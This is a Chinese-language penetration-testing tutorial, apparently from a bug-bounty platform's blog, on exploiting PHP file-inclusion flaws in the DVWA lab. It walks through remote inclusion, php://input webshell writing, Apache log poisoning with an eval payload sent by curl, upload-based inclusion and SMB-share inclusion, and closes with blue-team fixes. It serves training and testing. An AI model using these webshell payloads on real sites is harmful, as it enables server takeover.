0x00
前言
各位行长好,这里是漏洞银行审核团队(背锅男团)。在运营小姐姐的威逼下,我们将很不定期的发些"私货"分享,以供行长们拓展渗透姿势,丰富独特的渗透思路。做此事初衷为乐在分享,因各人水平参差阅读感受可能不同,还望“轻喷”~有任何问题或建议都可以通过平台“可爱”的运营小姐姐们进行反馈,我们会虚心接受并持续优化。
此文是在漏洞审核工作中收集到的一些关于文件包含漏洞的利用方式,简单且实用,可以作为红队测试的切入点;该文偏向实操,漏洞利用理解难度不大。
文章内容以DVWA靶场作为案例进行展示。
文件包含漏洞产生原因:软件开发的过程中,会将代码功能进行良好的划分,有利于后继开发者理解和维护,不同的功能会解耦的写入不同的文件中。当系统运行需要对应功能时,开发人员将直接调用(包含)对应的文件,如果调用时未对包含的文件来源做限制或验证,则可能产生文件包含漏洞。
0x01
如何发现文件包含漏洞
搭建DVWA靶场,登陆并将靶场难度调至low,然后进入文件包含页面如下:
发现文件包含漏洞注入点的方式包括:
1、观察URL链接是否包括以下类似的关键字:page/include/path/file/link/url等,如果有,则可能存在文件包含漏洞;
2、可以观察在URL中,出现的赋值参数等号后跟的信息,是否为一个文件,如果是,则可能存在文件包含漏洞;
3、在关键字处或明显被文件赋值的参数处,尝试进行赋值,如:http://www.baidu.com;或系统常见文件,如:/etc/passwd(linux);如果有类似以下的返回,则说明存在文件包含漏洞:
0x02
远程文件包含
如遇到文件包含漏洞优先尝试远程文件包含,在漏洞的站点可访问到的地址(现网中为自己的服务器或肉鸡),存放一个木马文件,如下(该小结靶场为:172.20.10.3,攻击者自己的服务器为:172.20.10.4):
在靶场尝试访问该远程文件:
发现有hello world! 返回,且未返回php代码部分,说明文件包含成功,且php代码部分被按照PHP语言进行解析,然后尝试执行系统指令whoami和pwd,效果如下:
以上为文件包含漏洞最常规利用方式,需要开启php.ini文件中allow_url_include配置项。
0x03
伪协议注入
如果没有自己私人的服务器,同时攻击目标开启了allow_url_include的配置,则可以尝试使用伪协议php://input尝试进行注入,过程如下:
1、确认伪协议input指令可执行,在page=后添加php://input,并使用POST方法,在hackbar中发送包含<?php phpinfo();?>的报文包,效果如下:
2、确认可以使用input伪协议后,构造webshell命令:
<?php fputs(fopen('my_shell.php','w'),'<?php system($_GET["cmd"]);?>');?>
3、尝试在当前路径访问my_shell.php文件,并执行指令whoami和pwd:
4、如果确认写入成功,则注入完成。但在实际情况中,other用户在网站大部分路径中是不具备写入权限的,以上步骤能成功,是因为该路径配置了普通用户写入权限。假如遇到当前路径不可写入,则可以考虑找到攻击站点的图片,查看图片URL,在图片文件存放的路径中,尝试input伪协议写入,在DVWA靶场部署时,dvwa/hackable/uploads路径配置是具备可写入权限的(现网中大部分站点,因为开发人员和使用人员是不同的人群,所以如果一个网站是正常使用的状态,图片存放路径大部分是具备普通用户写入权限的),所以可以尝试对该路径进行注入,构造webshell命令:
<?php fputs(fopen('../../hackable/uploads/tmp_shell.php','w'),'<?php system($_GET["cmd"]);?>');?>
5、尝试访问
dvwa/hackable/uploads/tmp_shell.php文件,并执行whoami和pwd指令:
0x04
本地文件包含漏洞
与合法文件上传综合利用
如果站点关闭了allow_url_include配置,那文件包含漏洞仅可以进行本地包含,后续三种注入方式则是针对本地文件包含的利用,下图为关闭了allow_url_include配置后:
1、由于PHP的文件包含功能会将包含的文件都作为PHP代码解析,所以可以找到正常的上传点,上传包含注入语句的图片:
2、可以根据返回的报文,或页面提示信息,找到上传的图片路径:
3、尝试访问该路径,看是否图片上传成功:
4、如上图可确认文件存在,且上传成功,然后尝试进行包含,并执行whoami和pwd命令进行验证:
0x05
本地文件包含漏洞
通过日志进行注入
apache服务部署时,如果运维人员未进行重新配置,访问日志会存放在一个固定路径,如:/var/log/httpd/access_log、/var/log/apache2/access_log、/var/log/apache/access_log、/opt/lampp/logs/access_log等,可以尝试利用本地文件包含漏洞来获取webshell:
1、确认文件包含漏洞注入处,能否读取访问日志:
2、如果能访问,则使用curl命令,构造访问命令:
curl 'http://172.20.10.3/?page=<?php eval($_POST[cmd]);?> '
3、通过包含日志文件,发送post报文,执行phpinfo();指令,查看是否能成功执行命令:
4、如果页面返回有php的配置信息,则证明获取webshell成功,如需尝试执行系统命令,可以使用蚁剑进行连接:
填写文件包含链接,并填入密码为cmd:
然后添加Cookie信息:
添加完成后,直接访问添加主机即可,然后执行系统指令如下:
0x06
如何发现文件包含漏洞
如果能确定攻击站点系统为windows server系统,可以尝试利用windows默认开启的共享文件功能(该小结靶场为:172.20.10.4,攻击者的服务器为:172.20.10.3):
1、在自己的服务器上搭建smb匿名访问服务(搭建方式可参考:
https://www.cnblogs.com/itwangqiang/p/13413894.html),其中本人的/etc/samba/smb.conf配置信息如下:
[global]
workgroup = SAMBA
security = user
passdb backend = tdbsam
printing = cups
printcap name = cups
load printers = yes
cups options = raw
map to guest = bad user
[pub]
comment = pub
path = /var/www/html/pub
writable = no
browseable = yes
guest ok = yes
2、尝试本地包含文件
\172.20.10.3pubcmd.php,并执行whoami和pwd指令:
0x07
小结
通过以上注入方式,可以看出文件包含漏洞存在很大的风险。
从蓝队视角出发,针对以上提及案例,可参考的修复方案如下:
1、如果站点存在远程文件包含需求,需对包含的文件来源,进行验证,或限制可访问的服务器地址;
2、如果非必需包含远程文件,则在php.ini文件中直接关闭allow_url_include配置项;
3、对系统中存在的文件,都做好权限限制,对于日志文件夹权限直接设置为700或744即可;
4、如非站点服务器所必须服务,建议直接关闭此类服务。
从红队视角出发,在渗透工作中,可以参考思路如下(主要仅针对文件包含漏洞的测试思路,其他类型漏洞也可以做迁移):
1、渗透的关键在于:使用有效的方式找到可能存在问题的注入点;
2、找到注入点后,需先尝试常规的注入方式,进行远程文件包含尝试、系统敏感文件的包含尝试、目录遍历尝试;
3、在确认了注入点存在后,根据包含类型不同(远程文件包含或本地文件包含),结合网站服务器的实际情况,综合利用已知中低危漏洞;
4、对于远程文件包含:
1)尝试在自己的服务器上部署远程命令执行代码,然后利用漏洞包含命令执行代码,并进行远程控制连接;
2)如果没有自己的服务器,则考虑是否能通过伪协议的方式,将远程控制代码写入服务器;
5、对于本地文件包含:
1)最核心的思路是:如何将远程控制代码变成本地文件;
2)尝试通过正常途径,上传远程控制代码文件,将上传文件作为被包含文件,变成可执行代码进行连接;
3)如果不能上传文件,则尝试包含本地日志,如果能访问本地日志,则尝试在最长URL限制下,构造包含远程控制代码信息的URL,然后进行包含日志的远程连接测试;
4)可以通过nmap查看攻击服务器的系统,以及开放的服务,查看是否存在类似文件共享的服务,将远程文件变成web应用所允许包含的本地文件。
最后,祝各位行长:
蓝队站好事少睡得香,红队网快洞多拿高奖。
▼ 阅读原文,进入漏洞银行
本文始发于微信公众号(行长叠报):文件包含漏洞GetShell利用方法丨审核表哥私货专栏 1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论